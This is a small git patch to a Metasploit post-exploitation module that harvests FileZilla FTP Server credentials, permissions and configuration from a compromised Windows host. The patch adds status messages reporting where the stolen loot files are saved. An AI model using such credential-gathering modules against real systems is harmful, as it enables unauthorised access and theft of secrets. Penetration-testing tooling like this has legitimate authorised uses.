From 98fbf84dac8c9ffb5a4d531269333aea64e57957 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 1 Feb 2012 03:41:19 -0600 Subject: [PATCH] Module should inform where the files are saved --- .../windows/gather/credentials/filezilla_server.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 1c1081bafd..2c534ac395 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -198,14 +198,20 @@ class Metasploit3 < Msf::Post :target_port => config['admin_port'] ) - store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, + p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials") - store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, + print_status("Credentials saved in: #{p.to_s}") + + p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions") - store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, + print_status("Permissions saved in: #{p.to_s}") + + p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration") + + print_status("Config saved in: #{p.to_s}") end def parse_server(data)